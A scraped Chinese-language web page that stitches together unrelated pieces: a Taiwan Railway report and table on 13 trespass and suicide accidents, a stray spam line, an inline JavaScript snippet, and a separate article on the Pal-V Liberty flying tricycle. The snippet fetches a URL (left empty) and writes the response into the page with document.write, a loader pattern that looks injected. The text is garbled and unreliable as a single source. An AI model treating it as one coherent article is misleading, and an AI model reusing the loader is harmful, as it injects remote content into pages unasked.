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商品訊息功能:
商品訊息簡述:
今年至今短短3個月,台鐵已經發生13起重大死傷事故,近1個月更多達9起事故。台鐵局表示,根據統計,事故原因主要為民眾闖越平交道或跳軌等導致,將加強鐵路高架及平交道保全人員巡視。
無重力 sex
日期 |
發生區間 |
原因 |
死 |
傷 |
線區 |
|
1/02 |
三貂角站 |
一女子站立西正線上遭列車撞擊 |
1 |
宜蘭線 |
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1/12 |
嘉義至民雄 |
一男子騎機車闖越平交道 |
1 |
縱貫線 |
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1/25 |
志學至壽豐 |
一女子闖越平交道 |
1 |
台東線 |
||
1/26 |
暖暖至八堵 |
一男子趴在西正線上 |
1 |
宜蘭線 |
||
2/05 |
內壢 |
一男子突跳下月台 |
1 |
縱貫線 |
||
2/12 |
山里至台東 |
闖越路線遭撞擊 |
1 |
台東線 |
||
2/28 |
海端至關山 |
跨越路線 |
1 |
台東線 |
||
2/28 |
高雄至新左營 |
站立西正線上 |
1 |
縱貫線 |
||
3/01 |
埔心至中壢 |
行走路線 |
1 |
縱貫線 |
||
3/03 |
內壢至桃園 |
趴在西正線上 |
1 |
縱貫線 |
||
2/22 |
高雄站 |
跳下月台 |
1 |
縱貫線 |
||
2/23 |
北湖至湖口 |
入侵路線 |
1 |
縱貫線 |
||
3/05 |
萬華站 |
跌落月台 |
1 |
縱貫線 |
這個月5日台鐵萬華車站發生7旬老翁墜軌意外,這是今年第13起民眾闖入鐵軌傷亡事故,其中10人死亡、3人受傷,回顧這13起傷亡事故,今年首起是發生在1月初,一名女子在三貂角站區間闖越鐵道,被行駛而來的列車撞擊當場死亡。
台鐵統計,從2月初內壢站發生男子跳軌死亡意外後,近1個月分別於山里至台東、高雄至新左營、埔心至中壢等區間共9起傷亡事故,造成6死3傷,肇因都與人為因素有關。
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function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}
var theUrl = '';
document.write(httpGet(theUrl));
記者張慶輝/綜合報導
自從汽車和飛行器發明後,儘管一個是地上跑的、一個是天上飛的,但人們總是不放棄將兩者結合,最近又有一家瘋狂的公司,打造出「飛行三輪車」,不只在地面有實用的性能,還能在5分鐘內化身為飛行器,自由翱翔在寬廣的天空!
▲Pal-V把三輪車和直升機結合,成為混種的Liberty。(圖/翻攝自Pal-V)
Pal-V的這部「Liberty」飛行三輪車,搭載一具100匹馬力的引擎,在地面行駛時,僅需9秒就能完成0-100km/h加速;與其他飛行車相比,Liberty沒有機翼,而是透過可折疊的旋翼提供浮力,在一人操作下,可在5分鐘內完成旋翼的展開或收折。
▲Liberty在地面有優異性能,飛上天的速度也相當不錯。(圖/翻攝自Pal-V)
雖然看起來像直升機,不過旋翼僅能提供浮力,仍須透過車尾的螺旋槳提供推力,所以還是需要跑道來進行起降;若以最大飛行重量計算,可提供近400公里的續航力,如果只搭載一名駕駛,還能進一部拓展至近500公里,飛行極速也相當不錯,可達180km/h,巡航速度則是140km/h至160km/h之間。
▲一人操作時,從三輪車變飛機只要5分鐘,不過起降仍需要夠長的跑道。(圖/翻攝自Pal-V)
目前Pal-V已經展開Liberty的預購,先鋒版開價59.9萬美元(約新台幣1,854萬元),配備有雙飛控界面、以及電子助航器等,如果不需這些配備,售價則為39.9萬美元(約新台幣1,236萬元),所有買家都可獲得專屬的飛行訓練。
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